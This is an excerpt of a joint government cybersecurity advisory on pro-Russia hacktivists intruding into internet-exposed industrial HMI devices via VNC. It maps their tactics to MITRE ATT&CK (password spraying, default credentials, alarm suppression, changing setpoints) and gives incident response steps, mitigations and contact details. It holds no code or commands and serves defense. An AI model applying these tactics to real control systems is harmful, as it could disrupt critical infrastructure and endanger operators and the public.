<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 1. Reconnaissance</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Gather Victim Organization Information</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1591/" target="_blank" title="T1591" data-entity-type="external">T1591</a></td>
<td>Threat actors use information available on the internet to determine what systems they believe they have compromised and post the information on their social media. This methodology frequently leads to the threat actors misidentifying their claimed victims.</td>
</tr>
<tr>
<td>Active Scanning: Vulnerability Scanning</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1595/002/" target="_blank" title="T1595.002" data-entity-type="external">T1595.002</a></td>
<td>Threat actors use open source tools to look for IP addresses in target countries with visible VNC services on common ports.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 2. Resource Development</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Acquire Infrastructure: Virtual Private Server</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank" title="T1583.003" data-entity-type="external">T1583.003</a></td>
<td>Threat actors use virtual infrastructure to obfuscate identifiers.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 3. Initial Access</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Internet Accessible Device</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a></td>
<td>Threat actors gain access through less secure HMI devices exposed to the internet.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 4. Persistence</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Valid Accounts</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0859/" target="_blank" title="T0859" data-entity-type="external">T0859</a></td>
<td>Threat actors use password guessing tools to access legitimate accounts on the HMI devices.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 5. Credential Access</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Brute Force: Password Spraying</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1110/003/" target="_blank" title="T1110.003" data-entity-type="external">T1110.003</a></td>
<td>Threat actors use tools to rapidly guess common or simple passwords.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 6. Lateral Movement</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Default Credentials</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0812/" target="_blank" title="T0812" data-entity-type="external">T0812</a></td>
<td>Threat actors seek and build libraries of known default passwords for control devices to access legitimate user accounts.</td>
</tr>
<tr>
<td>Remote Services</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0886/" target="_blank" title="T0886" data-entity-type="external">T0886</a></td>
<td>Threat actors leverage VNC services to access system HMI devices.</td>
</tr>
<tr>
<td>Remote Services: VNC</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1021/005/" target="_blank" title="T1021.005" data-entity-type="external">T1021.005</a></td>
<td>Threat actors hunt VNC-enabled devices visible on the internet and connect with remote viewer software.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 7. Execution</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Graphical User Interface</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0823/" target="_blank" title="T0823" data-entity-type="external">T0823</a></td>
<td>Threat actors interact with HMI devices via GUIs, attempting to modify control devices.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 8. Inhibit Response Function</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Device Restart/Shutdown</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0816/" target="_blank" title="T0816" data-entity-type="external">T0816</a></td>
<td>While threat actors claim to turn off HMIs, it is possible that operators (not the threat actors) turn the devices off during incident response.</td>
</tr>
<tr>
<td>Alarm Suppression</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0878/" target="_blank" title="T0878" data-entity-type="external">T0878</a></td>
<td>Threat actors use HMI interfaces to clear alarms caused by their activity and alarms already present on the system at the time of their intrusion.</td>
</tr>
<tr>
<td>Change Credential</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a></td>
<td>Threat actors change the usernames and passwords of HMI devices in operator lockout attempts, usually resulting in a loss of view and operators switching to manual operations.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 9. Impair Process Control</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Modify Parameter</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0836/" target="_blank" title="T0836" data-entity-type="external">T0836</a></td>
<td>Threat actors attempt to change upper and lower limits of operational devices as available from the HMI.</td>
</tr>
<tr>
<td>Unauthorized Command Message</td>
<td><a href="https://attack.mitre.org/techniques/T0855/" target="_blank" title="T0855" data-entity-type="external">T0855</a></td>
<td>Threat actors attempt to send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, causing possible impact.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 10. Impact</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><a class="ck-anchor"><strong>Technique Title</strong></a></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Loss of Productivity and Revenue</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0828/" target="_blank" title="T0828" data-entity-type="external">T0828</a></td>
<td>Threat actors purposefully attempt to impact productivity and create additional costs for the affected entities.</td>
</tr>
<tr>
<td>Loss of View</td>
<td><a href="https://attack.mitre.org/versions/v15/techniques/T0829/" target="_blank" title="T0829" data-entity-type="external">T0829</a></td>
<td>Threat actors change credentials on HMI devices, preventing operators from modifying processes remotely. </td>
</tr>
<tr>
<td>Manipulation of Control</td>
<td><a href="https://attack.mitre.org/versions/v15/techniques/T0831/" target="_blank" title="T0831" data-entity-type="external">T0831</a></td>
<td>Threat actors change setpoints in processes, impacting the efficiency of operations for those specific processes.  </td>
</tr>
</tbody>
</table>
<h2><strong>Incident Response</strong></h2>
<p>If organizations find exposed systems with weak or default passwords, they should assume threat actors compromised the system and begin the following incident response protocols:</p>
<ol>
<li><strong>Determine which hosts were compromised and isolate them</strong> by quarantining or taking them offline.</li>
<li><strong>Initiate threat hunting activities to scope the intrusion</strong>. Collect and review artifacts, such as running processes/services, unusual authentications, and recent network connections.</li>
<li><strong>Reimage compromised hosts</strong>.</li>
<li><strong>Provision new account credentials</strong>.</li>
<li><strong>Report the compromise to CISA, FBI, and/or NSA</strong>. See the <a href="https://www.cisa.gov/#Contact" title="Contact Information"><strong>Contact Information</strong></a> section of this advisory.</li>
<li><strong>Harden the network to prevent additional malicious activity</strong>. See the <a href="https://www.cisa.gov/#Mitigations" title="Mitigations "><strong>Mitigations </strong></a>section of this advisory for guidance.</li>
</ol>
<h2><a class="ck-anchor"><strong>Mitigations</strong></a></h2>
<h3><strong>OT Asset Owners and Operators</strong></h3>
<p>The authoring organizations recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture based on the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s <a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="CPGs">CPGs webpage</a> for more information on the CPGs, including additional recommended baseline protections.</p>
<ul>
<li><strong>Reduce exposure of OT assets to the public-facing internet.</strong> When connected to the internet, OT devices are easy targets for malicious cyber threat actors. Many devices can be found by searching for open ports on public IP ranges with search engine tools to target victims with OT components [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#SecureInternetFacingDevices3S" title="CPG 3.S">CPG 3.S</a>].
<ul>
<li><strong>Asset owners should use attack surface management services </strong>and web-based search platforms to scan the internet. This mitigation can help identify if there are VNC systems exposed within the IP ranges they own, especially for connections set up by third parties.<br><strong>Note:</strong> For more information on attack surface management, see CISA’s <a href="https://www.cisa.gov/resources-tools/resources/exposure-reduction" title="Internet Exposure Reduction Guidance">Internet Exposure Reduction Guidance</a>, CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> for U.S. critical infrastructure, and NSA’s <a href="https://www.nsa.gov/Portals/75/documents/resources/everyone/Attack%20Surface%20Management%20copy.pdf" target="_blank" title="Attack Surface Management" data-entity-type="external">Attack Surface Management</a> for the U.S. Defense Industrial Base.</li>
<li><strong>Implement network segmentation between IT and OT networks.</strong> Segmenting critical systems and introducing a demilitarized zone (DMZ) for passing control data to enterprise logistics reduces the potential impact of cyber threats and the risk of disruptions to essential OT operations [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementLogicalPhysicalNetworkSegmentation3I" title="CPG 3.I">CPG 3.I</a>].</li>
<li><strong>Consider implementing a firewall and/or virtual private network</strong> if exposure to the internet is necessary for controlling access to devices.
<ul>
<li>Consider disabling public exposure by default and implementing time-limited remote access to reduce the amount of time systems are exposed.</li>
<li>Restrict and monitor both inbound and outbound traffic at OT perimeter firewalls. Configure OT perimeter firewalls to enforce a default-deny policy for all traffic. Asset owners should explicitly permit authorized destinations and protocols based on operational requirements.</li>
<li>Implement strict egress filtering to prevent unauthorized data exfiltration or command-and-control callbacks.</li>
<li>Regularly audit firewall rulesets and monitor outbound traffic patterns for anomalies indicative of threat actor activity, such as beaconing or unexpected protocol usage.</li>
</ul>
</li>
</ul>
</li>
<li><strong>Adopt mature asset management processes</strong>, including mapping data flows and access points. Generating a complete picture of both OT and IT assets provides visibility to operators and management, allowing organizations to monitor and assess deviations for criticality [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ManageOrganizationalAssets2A" title="CPG 2.A">CPG 2.A</a>].
<ul>
<li><strong>Keep remote access services updated </strong>with the latest version available and ensure all systems and software are up to date with patches and necessary security updates.
<ul>
<li>Keep VNC systems updated with the latest version available.</li>
</ul>
</li>
<li><strong>Refer to the joint </strong><a href="https://www.cisa.gov/resources-tools/resources/foundations-ot-cybersecurity-asset-inventory-guidance-owners-and-operators" title="Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators"><strong>Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators</strong></a> to help with reducing cybersecurity risk by identifying which assets within their environment should be secured and protected.</li>
</ul>
</li>
<li><strong>Ensure OT assets use robust authentication procedures.</strong>
<ul>
<li>Many devices lack robust authentication and authorization. Devices with weak authentication are vulnerable targets to threat actors using credential theft techniques.</li>
<li>Implement MFA where possible. Where MFA is not feasible, use strong, unique passwords. Apply password standards for operator-accessible services on underlying OT assets, as well as network devices protecting those services. This is especially important for services that require internet accessibility [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ChangingDefaultPasswords3A" title="CPG 3.A">CPG 3.A</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B" title="CPG 3.B">CPG 3.B</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C" title="CPG 3.C">CPG 3.C</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementMultifactorAuthentication3F" title="CPG 3.F">CPG 3.F</a>].</li>
<li>Establish an allowlist that permits only authorized device IP addresses and/or media access control addresses. The allowlist can be refined to operator working hours to further obstruct malicious threat actor activity; organizations are encouraged to establish monitoring and alerting for access attempts not meeting these criteria [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MonitorUnsuccessfulAutomatedLoginAttempts3E" title="CPG 3.E">CPG 3.E</a>].</li>
<li>Disable any unused authentication methods, logic, or features, such as default authentication keys and default passwords. Block all unused high ephemeral ports and monitor for attempted connections using standard protocols on non-standard ports [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ProhibitConnectionofUnauthorizedDevices3R" title="CPG 3.R">CPG 3.R</a>].</li>
<li>Authenticate all access to field controllers before authorizing access to, or modification of, a device’s state, logic, program, or filesystems.</li>
</ul>
</li>
<li><strong>Enable control system security features </strong>that can separate and audit view and control functions. Limiting remotely accessible or default user accounts to “view-only” removes the potential for impact without exploiting a vulnerability [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#AdministratorsMaintainSeparateUserandPrivilegedAccounts3G" title="CPG 3.G">CPG 3.G</a>].</li>
<li><strong>Implement and practice business recovery/disaster recovery plans.</strong> Plans should also take into consideration redundancy, fail-safe mechanisms, islanding capabilities, backup restoration, and manual operation.
<ul>
<li>Include scenarios that necessitate switching to manual operations. Maintaining the capability of an organization to revert to manual controls to quickly restore operations is vital in the immediate aftermath of a cyber incident [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IncidentPlanningandPreparedness6A" title="CPG 6.A">CPG 6.A</a>].</li>
<li>Create backups of the engineering logic, configurations, and firmware of HMIs to enable fast recovery. Organizations should routinely test backups and standby systems to ensure safe manual operations in the event of an incident [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainSystemBackupsRestorationAbility3O" title="CPG 3.O">CPG 3.O</a>].</li>
</ul>
</li>
<li><strong>Collect and monitor the traffic of OT assets and networking devices.</strong> This includes unusual logins or unexpected protocols communicating over the internet, and functions of ICS management protocols that change an asset’s operating mode or modify programs.</li>
<li><strong>Review configurations for setpoint ranges or tag values </strong>to stay within safe ranges and establish alerting for deviations.</li>
<li><strong>Take a proactive approach in the procurement process</strong> by following the guidance outlined in the joint guide <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products</a>.</li>
</ul>
<h3>OT Device Manufacturers</h3>
<p>Although critical infrastructure organizations can take steps to mitigate risks, it is ultimately the responsibility of OT device manufacturers to build products that are secure by design. The authoring organizations urge device manufacturers to take ownership of the security outcomes of their customers in line with the joint guide <a href="https://www.cisa.gov/resources-tools/resources/secure-by-design" title="Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software">Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software</a>.</p>
<ul>
<li><strong>Eliminate default credentials and require strong passwords.</strong> The use of default credentials is a top weakness threat actors exploit to gain access to systems.</li>
<li><strong>Mandate MFA for privileged users.</strong> Changes to engineering logic or configurations are safety-impacting events in critical infrastructure. MFA should be available for safety critical components at no additional cost.</li>
<li><strong>Practice secure by default principles. </strong>OT components were initially designed without public internet connectivity in mind. When internet connection becomes necessary, implementing additional security measures is essential to safeguard these systems. Manufacturers should recognize insecure states and promptly inform users so they can make informed risk decisions.
<ul>
<li><strong>Include logging at no additional charge.</strong> Change and access control logs allow operators to track safety-impacting events in their critical infrastructure. These logs should be available for no cost and use open standard logging formats.</li>
</ul>
</li>
<li><strong>Publish Software Bill of Materials (SBOMs).</strong> Vulnerabilities in underlying software libraries can affect a wide range of devices. Without an SBOM, it is nearly impossible for a critical infrastructure system owner to measure and mitigate the impact of a vulnerability on their existing systems. See CISA’s <a href="https://www.cisa.gov/sbom" title="Software Bill of Materials">SBOM webpage</a> for more information.</li>
</ul>
<p>Additionally, see CISA’s <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-software-manufacturers-can-shield-web-management-interfaces-malicious-cyber" title="Secure by Design Alert">Secure by Design Alert</a> on how software manufacturers can shield web management interfaces from malicious cyber activity. By using secure by design tactics, software manufacturers can make their product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.</p>
<p>For more information on secure by design, see CISA’s <a href="https://www.cisa.gov/securebydesign" title="Secure by Design">Secure by Design</a> webpage.</p>
<h2><strong>Validate Security Controls</strong></h2>
<p>In addition to applying mitigations, the authoring organizations recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&amp;CK Matrix for Enterprise framework in this advisory. The authoring organizations recommend testing your existing security controls inventory to assess how it performs against the ATT&amp;CK techniques described in this advisory.</p>
<p>To start:</p>
<ol>
<li>Select an ATT&amp;CK technique described in this advisory (see <a href="https://www.cisa.gov/#Table1" title="Table 1"><strong>Table 1</strong></a> to<strong> </strong><a href="https://www.cisa.gov/#Table10" title="Table 10"><strong>Table 10</strong></a>).</li>
<li>Align your security technologies against the technique.</li>
<li>Test your technologies against the technique.</li>
<li>Analyze your detection and prevention technologies’ performance.</li>
<li>Repeat the process for all security technologies to obtain a set of comprehensive performance data.</li>
<li>Tune your security program, including people, processes, and technologies, based on the data generated by this process.</li>
</ol>
<p>The authoring organizations recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&amp;CK techniques identified in this advisory.</p>
<h2><strong>Resources</strong></h2>
<p>Entities requiring additional support for implementing any of the mitigations in this advisory should contact their regional CISA Cybersecurity Advisor for assistance. Key resources organizations should reference include:</p>
<ul>
<li>CISA, EPA, NSA, FBI, ASD’s ACSC, Cyber Centre, BSI, NCSC-NL, and NCSC-NZ’s <a href="https://www.cisa.gov/resources-tools/resources/foundations-ot-cybersecurity-asset-inventory-guidance-owners-and-operators" title="Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators">Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators</a> offers best practices to assist organizations in identifying and prioritizing which assets should be secured and protected.</li>
<li>CISA, FBI, NSA, EPA, DOE, USDA, FDA, MS-ISAC, Cyber Centre, and NCSC-UK’s guidance on <a href="https://www.cisa.gov/resources-tools/resources/defending-ot-operations-against-ongoing-pro-russia-hacktivist-activity" title="Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity">Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity</a> that can help organizations protect OT systems from pro-Russia hacktivist activity.</li>
<li>NSA and CISA’s guidance on <a href="https://media.defense.gov/2022/Sep/22/2003083007/-1/-1/0/CSA_ICS_Know_the_Opponent_.PDF" target="_blank" title="Control System Defense: Know the Opponent" data-entity-type="external">Control System Defense: Know the Opponent</a> helps organizations defend OT and ICS assets against malicious cyber activity.</li>
<li>CISA and EPA’s resource page on <a href="https://www.cisa.gov/water" title="Water and Wastewater Cybersecurity">Water and Wastewater Cybersecurity</a> to help organizations reduce risks posed by malicious cyber actors targeting water and wastewater systems.
<ul>
<li>For additional guidance, see CISA, EPA, and FBI’s fact sheet on <a href="https://www.cisa.gov/resources-tools/resources/top-cyber-actions-securing-water-systems" title="Top Cyber Actions for Securing Water Systems">Top Cyber Actions for Securing Water Systems</a>.</li>
</ul>
</li>
<li>The Food and Ag-ISAC’s best practices on <a href="https://www.idfa.org/wordpress/wp-content/uploads/2023/07/Food-and-Ag-ISAC-Cybersecurity-Guide-2023_IDFA.pdf" target="_blank" title="Food and Ag Cybersecurity: A Guide for Small &amp; Medium Enterprises" data-entity-type="external">Food and Ag Cybersecurity: A Guide for Small &amp; Medium Enterprises</a> provides recommendations to help mitigate against cyber threats.</li>
<li>DOE and National Association of Regulatory Utility Commissioners <a href="https://www.naruc.org/core-sectors/critical-infrastructure-and-cybersecurity/cybersecurity-for-utility-regulators/cybersecurity-baselines/" target="_blank" title="Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER)" data-entity-type="external">Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER)</a> webpage provides resources for state public utility commissions and utilities, as well as DER operators and aggregators to help mitigate cybersecurity risks.</li>
</ul>
<p>Additional resources that apply to this advisory include:</p>
<ul>
<li>EPA’s <a href="https://www.epa.gov/cyberwater/epa-cybersecurity-water-sector" target="_blank" title="Cybersecurity for the Water Sector" data-entity-type="external">Cybersecurity for the Water Sector</a> resource page provides organizations with guidance on implementing basic cyber hygiene practices.</li>
<li>CISA’s <a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals">Cross-Sector Cybersecurity Performance Goals</a> enables critical infrastructure organizations to reduce the likelihood and impact of known risks and adversary techniques.</li>
<li>CISA’s <a href="https://www.cisa.gov/audiences/small-and-medium-businesses/secure-your-business/require-strong-passwords" title="Require Strong Passwords">Require Strong Passwords</a> webpage supports small and medium-sized businesses mitigating against malicious cyber activity that targets weak passwords.</li>
<li>CISA, NSA, FBI, EPA, TSA, and international partners’ guidance <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products</a>.</li>
<li>DOE’s guidance on <a href="https://www.energy.gov/ceser/cyber-informed-engineering" target="_blank" title="Cyber-Informed Engineering" data-entity-type="external">Cyber-Informed Engineering</a> recommends considering cyber-enabled risks during the conception, design, and development phases when manufacturing physical systems.</li>
<li>CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> help enable critical infrastructure organizations to reduce their exposure to threats by taking a proactive approach to monitoring and mitigating attack vectors.</li>
<li>CISA, NSA, FBI, and international partners’ guidance on <a href="https://www.cisa.gov/resources-tools/resources/secure-by-design" title="Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software">Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software</a> urges software manufacturers to provide customers with products that are safer and more secure.
<ul>
<li>See more information in these Secure by Design Alerts: <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-manufacturers-can-protect-customers-eliminating-default-passwords" title="How Manufacturers Can Protect Customers by Eliminating Default Passwords">How Manufacturers Can Protect Customers by Eliminating Default Passwords</a> and <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-software-manufacturers-can-shield-web-management-interfaces-malicious-cyber" title="How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity">How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity</a>.</li>
</ul>
</li>
</ul>
<h2><a class="ck-anchor"><strong>Contact Information</strong></a></h2>
<p><strong>U.S. organizations</strong> are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, FBI, and/or NSA:</p>
<ul>
<li>Contact CISA via CISA’s 24/7 Operations Center at <a href="mailto:contact@cisa.dhs.gov" title="contact@cisa.dhs.gov">contact@cisa.dhs.gov</a> or 1-844-Say-CISA (1-844-729-2472) or your local <a href="https://www.fbi.gov/contact-us/field-offices" target="_blank" title="FBI field office" data-entity-type="external">FBI field office</a>. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.</li>
<li>For NSA cybersecurity guidance inquiries, contact <a href="mailto:CybersecurityReports@nsa.gov" target="_blank" title="CybersecurityReports@nsa.gov">CybersecurityReports@nsa.gov</a>.</li>
</ul>
<p><strong>Australian organizations:</strong> Visit <a href="https://www.cyber.gov.au/" target="_blank" title="cyber.gov.au" data-entity-type="external">cyber.gov.au</a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.</p>
<p><strong>Canadian organizations:</strong> Report incidents by emailing Cyber Centre at <a href="mailto:contact@cyber.gc.ca" target="_blank" title="contact@cyber.gc.ca">contact@cyber.gc.ca</a>.</p>
<p><strong>New Zealand organizations:</strong> Report cyber security incidents to <a href="mailto:incidents@ncsc.govt.nz" target="_blank" title="incidents@ncsc.govt.nz">incidents@ncsc.govt.nz</a> or call 04 498 7654.</p>
<p><strong>United Kingdom organizations:</strong> Report a significant cyber security incident: <a href="https://report.ncsc.gov.uk/" target="_blank" title="report.ncsc.gov.uk" data-entity-type="external">report.ncsc.gov.uk</a> (monitored 24 hours) or, for urgent assistance, call 03000 200 973.</p>
<h2><strong>Disclaimer</strong></h2>
<p>The information in this report is being provided “as is” for informational purposes only. The authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI and co-sealers.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>Schneider Electric, Nozomi Networks, Eversource Energy, Electricity Information Sharing and Analysis Center, Chevron, BP, and Dragos contributed to this advisory.</p>
<h2><strong>Version History</strong></h2>
<p><strong>December 09, 2025:</strong> Initial version.</p>
<h2><strong>Appendix A: Targeting Methodologies for Pro-Russia Hacktivist Groups</strong></h2>
<p>For further information on targeting methodologies for pro-Russia hacktivist groups, see:</p>
<ul>
<li>CISA’s alert <a href="https://www.cisa.gov/news-events/alerts/2025/05/06/unsophisticated-cyber-actors-targeting-operational-technology" title="Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology">Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology</a>;</li>
<li>The joint fact sheet <a href="https://www.cisa.gov/resources-tools/resources/primary-mitigations-reduce-cyber-threats-operational-technology" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a>; and</li>
<li>CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia" title="Russia Cyber Threat">Russia Cyber Threat</a> webpage.</li>
</ul>
<h2><a class="ck-anchor"><strong>Appendix B: Additional Designators Used for Cited Groups</strong></a></h2>
<p>The cybersecurity industry and cyber actor groups often use various names to reference actor groups. While not exhaustive, the following are the most notable names used within the cybersecurity community to reference the groups in this advisory.</p>
<p><strong>Note:</strong> Cybersecurity organizations have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the authoring organizations’ understanding for all activity related to these groupings.</p>
<ul>
<li>GRU military unit 74455
<ul>
<li>Sandworm Team</li>
<li>Voodoo Bear</li>
<li>Seashell Blizzard</li>
<li>APT44</li>
</ul>
</li>
<li>Cyber Army of Russia Reborn (CARR)
<ul>
<li>CyberArmy of Russia</li>
<li>Народная CyberАрмия (НКА)</li>
<li>People’s CyberArmy of Russia (PCA)</li>
<li>Russian CyberArmy Team (RCAT)</li>
</ul>
</li>
<li>NoName057(16)
<ul>
<li>NoName057(16) Spain</li>
<li>NoName057(16) Italy</li>
<li>NoName057(16) France</li>
</ul>
</li>
<li>Z-Pentest
<ul>
<li>Z-Pentest Beograd</li>
<li>Z-Pentest Alliance</li>
<li>Z-Alliance</li>
</ul>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure]]></title>
<description><![CDATA[Advisory at a Glance



Title
Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure


Original Publication
April 7, 2026


Last Update 
July 22, 2026


Executive Summary
The authoring agencies urgently warn U.S. organizations of ongoing Iranian-a...]]></description>
<link>https://tsecurity.de/de/3693379/sicherheitsluecken/iranian-affiliated-cyber-actors-exploit-programmable-logic-controllers-across-us-critical-infrastructure/</link>
